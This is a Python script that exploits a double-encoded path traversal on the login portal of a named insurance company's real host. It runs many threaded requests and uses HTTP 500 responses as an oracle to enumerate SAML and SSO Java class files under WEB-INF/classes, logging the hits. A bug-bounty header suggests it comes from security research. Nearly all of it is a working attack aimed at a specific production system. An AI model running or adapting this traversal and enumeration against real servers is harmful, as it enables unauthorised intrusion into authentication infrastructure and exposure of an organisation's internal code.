from curl_cffi import requests
from concurrent.futures import ThreadPoolExecutor,as_completed
import urllib.parse,json,itertools
host='mein-portal.baloise.de'
base=f'https://{host}/auth/ui/assets/airlock/i18n/'+('/'.join(['%252e%252e']*4))+'/WEB-INF/classes/'
H={'X-Bug-Bounty':'dwbzn','Cache-Control':'no-cache','Accept':'application/json'}
orgs=['de/baloise','com/baloise','ch/baloise','de/balgroupit','com/balgroupit','ch/balgroupit','de/basler','com/basler','de/helvetia','com/helvetia','ch/ergon/airlock/iam','com/airlock/iam']
subs=['','iam','iam/login','iam/login/rest','iam/login/rest/pub','iam/login/rest/public','iam/login/rest/infrastructure','iam/login/rest/infrastructure/pub','iam/saml','iam/saml2','iam/sso','iam/easylogin','login','login/rest','login/rest/pub','login/rest/public','login/rest/infrastructure/pub','saml','saml2','sso','easylogin','ext/login','extlogin']
classes=['Saml2Resource','SAML2Resource','SamlResource','Saml2TransformResource','SamlTransformResource','Saml2TransformerResource','SamlResponseTransformResource','SamlResponseTransformerResource','SamlToSsoTicketResource','SsoTicketResource','BaloiseSaml2Resource','BaloiseSamlResource','EasyLoginSaml2Resource','EasyloginSaml2Resource','EasyLoginResource','Saml2Controller','SamlController','Saml2Endpoint','SamlEndpoint','Saml2Service','SamlService','Saml2Transformer','SamlTransformer','SamlResponseTransformer','SamlToSsoTicketTransformer','SsoTicketTransformer','SsoTicketService','BaloiseSaml2Transformer','BaloiseSamlTransformer','EasyLoginSaml2Transformer','EasyloginSaml2Transformer','TransformToSsoTicket','TransformToSsoTicketResource','TransformToSsoTicketService','Saml2RestService','SamlRestService','Saml2RestResource','SamlRestResource','EasyLoginSamlResource','EasyloginSamlResource']
paths=set()
for o,s,c in itertools.product(orgs,subs,classes):
 p='/'.join(x for x in (o,s,c) if x)
 paths.add(p+'.class')
# likely package directly reflects WADL path
for o in orgs:
 for p in ['baloise/saml2/Saml2Resource','baloise/saml2/Saml2TransformResource','baloise/saml2/Saml2Transformer','baloise/saml2/SamlToSsoTicketTransformer']:
  paths.add(o+'/'+p+'.class')
# controls
paths.add('com/airlock/iam/login/app/infrastructure/web/I18nServlet.class')
paths.add('no/such/bugbounty/DefinitelyMissing.class')

def one(p):
 u=base+urllib.parse.quote(p,safe='/_.-$')+';.json?classoracle=2'
 try:
  r=requests.get(u,headers=H,timeout=20,impersonate='chrome',allow_redirects=False,toadex_capture=False)
  return {'path':p,'status':r.status_code,'size':len(r.content),'etag':r.headers.get('etag'),'exists':r.status_code==500}
 except Exception as e:return {'path':p,'error':repr(e)}
rows=[]
with ThreadPoolExecutor(max_workers=12) as ex:
 for x in ex.map(one,sorted(paths)):
  rows.append(x)
  if x.get('exists'): print('HIT',json.dumps(x),flush=True)
with open('work/scratch/liferay-critical/i18n-custom-class-oracle.jsonl','w') as f:
 for x in rows:f.write(json.dumps(x)+'\n')
print('tested',len(rows),'hits',sum(x.get('exists',False) for x in rows))
